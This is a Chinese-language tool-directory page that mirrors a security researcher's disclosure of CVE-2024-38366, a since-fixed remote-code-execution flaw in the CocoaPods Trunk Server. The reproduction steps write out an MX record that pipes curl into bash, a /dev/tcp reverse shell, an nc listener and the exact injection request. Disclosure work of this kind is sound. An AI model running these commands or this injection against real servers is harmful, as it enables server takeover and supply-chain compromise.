Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CocoaPods-RCE_CVE-2024-38366 — CocoaPods RCE 漏洞 CVE-2024-38366 | Kitploit
工具/GitHubGitHub/reefspek/cocoapods-rce_cve-2024-38366
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制供应链安全远程访问工具Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
reefspek/cocoapods-rce_cve-2024-38366

CocoaPods-RCE_CVE-2024-38366

CocoaPods RCE 漏洞 CVE-2024-38366

查看仓库
142年前尚未审核
分享

CocoaPods-RCE

本仓库更深入地剖析了在研究与破解 CocoaPods 包管理器过程中所发现的 RCE 漏洞背后的研究过程与思路。

研究发布博文可在此阅读: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods

研究背景

CocoaPods Trunk Server 充当 CocoaPods 的集中式存储库和分发平台,CocoaPods 是 Apple 生态系统中(尤其是 iOS 和 macOS 开发中)使用的重要库和框架。其主要目的是促进这些开源资源的无缝共享与管理。

CocoaPods Trunk Server 的开发者注册流程包括以下步骤以确保平台安全:

  • 开发者首先提供其电子邮件、姓名和账户描述。
  • 随后服务器验证电子邮件的唯一性,并根据 RFC822 标准(使用正则表达式)检查其格式是否正确。
  • 检查电子邮件地址域的邮件交换(MX)记录以确认电子邮件的有效性。
  • 如果一切正常,开发者的账户即被创建,使其能够访问 Trunk 服务器并管理所拥有的 CocoaPod 包。

测试版本

在开展研究时,我们已在生产环境上对最新的 trunk.cocoapods.org 版本(master 分支)进行了测试和验证。 该漏洞此后已被修复,不再可利用。

根本原因

该漏洞的根本原因在于(开发者注册过程中)电子邮件地址域的验证步骤不够充分,以及命令的执行方式不安全。具体而言,攻击者可以操纵输入,使其绕过域的邮件交换(MX)记录验证,从而能够在 Trunk Server 上注入并执行任意操作系统命令。
这对平台安全构成严重威胁,因为它允许未经授权的个人破坏服务器的完整性、损害存储数据的机密性,并扰乱其正常运作。

代码流程

APP/CONTROLLERS/APP_CONTROLLER.RB

App Controller 文件定义了 Trunk Server 的 API 端点,包括通过 /api/v1/sessions 路径提供服务的 SessionsContoller。


APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB

为了生成新会话,Session Controller 文件提供了 HTTP POST API 端点 – /api/v1/sessions。

该端点处理用户提供的注册详细信息,包括 "email"、"name" 和 "description" 参数。然后,它调用 Owner.find_or_initialize_by_email_and_name 方法。

该函数调用包含 "email" 和 "name" 参数值。


APP/MODELS/OWNER.RB

Owner Model 文件定义了 find_or_initialize_by_email_and_name 方法,该方法检查所提供的电子邮件是否存在。如果不存在,则使用上述参数创建新的 Owner 对象。

对象一经创建,在存储到数据库之前,Sequel 框架将执行 validate 方法。该方法包含 RFC-822 包中的多重验证。

我们重点关注 validates_mx_record 方法的执行,该方法使用了 RFC-822 包。


RFC-822/LIB/RFC822.RB

该库实现了 mx_records 方法来验证所提供的域是否有效。此外,它还使用 host 命令实现了 MX 记录响应性验证。

该方法首先将整个电子邮件地址与定义的电子邮件正则表达式模式进行比较——检查所提供的电子邮件是否匹配该模式。如果模式不匹配,该方法将返回空值,并且不会通过 host 命令继续进行主动检查。

随后,mx_records 方法调用 raw_mx_records 方法,该方法对电子邮件值进行处理——仅提取域部分(最后一个 '@' 之后的所有内容),并使用剥离后的域作为参数值调用 host_mx 方法。

host_mx 方法执行任意操作系统命令,并将其与用户提供的电子邮件的域拼接在一起。 最终执行的命令如下:
/usr/bin/env host -t MX <DOMAIN>

漏洞利用

障碍

为了开始利用该漏洞,我们向 /api/v1/sessions API 端点发送了 HTTP POST 请求。在请求体中,我们提供了经过构造的输入。

主要目标是触发 MX 记录验证过程,该过程最终将导致对恶意用户输入的求值与执行,从而在 trunk 服务器上执行操作系统命令。

为了实现目标并建立完全交互式的反弹 shell,我们必须克服某些挑战:

  • 小写转换: 第一个挑战源于用户提供的电子邮件地址会通过 owner.rb/normalize_email 方法转换为小写。因此,像 reef<span>@evasec.io|curl{IFS}evasec.io 这样简单的载荷不会有效,因为服务器会以小写形式处理它。
    注意:IFS 会被转换为 ifs,而不会用作分隔符。
  • 正则表达式模式验证: RFC822 库函数包含使用已定义正则表达式模式的验证。该验证构成了重大障碍,因为诸如 reef<span>@evasec.io|{curl,evasec.io} 之类的载荷无法生效,原因是载荷中存在以下该库会消除的字符:
    • “ “ (space)
    • "
    • ()
    • .
    • ,
    • <>
    • @
    • []

突破口

为了完成我们的任务,我们需要突破遇到的这堵高墙。
我们发现 /usr/bin/env host -t MX <DOMAIN> 命令提供的输出是我们可控的,使我们能够绕过这些挑战。
该输出可以通过管道传入 bash 命令来加以利用,从而创造代码执行的机会。
例如:

/usr/bin/env host -t MX <DOMAIN> | bash

我们在通过 AWS 上的 Route53 管理的域上构造了一条 MX 记录。 该 MX 记录包含以下 有效 字符串:

10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com


目标: 构造的载荷被设定为在通过 host 命令对域进行验证期间执行。

利用方式概述

为了发起远程代码执行,我们调用了 POST /api/v1/sessions API 端点并提交了以下载荷:
anything<span>@owned.domain|bash
其中域 "owned.domain" 即代表上文所述的恶意构造的 MX 记录。

复现步骤

  1. 准备载荷服务器:设置一个 Web 服务器来托管 payload.txt 文件,该文件包含要在 Trunk 服务器上执行的代码。

    • 例如:
      sh -i >& /dev/tcp/SERVER/1337 0>&1
  2. 创建恶意 MX 记录:生成一条新的 MX 记录,其中包含旨在从步骤 1 获取所准备载荷并执行它的载荷。

    • 例如:
      10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.com
  3. 设置反弹 Shell 监听器:在可公开访问的端口上启动反弹 shell 监听器,例如 netcat (nc)。

    • 例如:
      nc -lvp 1337
  4. 执行反弹 Shell:发送 HTTP 请求以触发反弹 shell 的执行,可以使用 curl 命令来完成。

    • curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'

执行

完整利用视频

exploit

成功利用的影响

在我们的研究中,我们发现 CocoaPods Trunk Server 中存在一个严重的安全漏洞,该漏洞允许执行任意操作系统命令(完全交互式远程代码执行)。

如果未经授权的威胁行为者攻陷该服务器,其可能会将恶意代码引入广泛使用的库中。这可能导致无数依赖这些被攻陷的 CocoaPods 的 iOS 和 macOS 应用出现严重的安全漏洞。

此外,威胁行为者还可以操纵 pod 规范、干扰合法库的分发,或在 CocoaPods 生态系统中造成大范围的破坏。

下载工具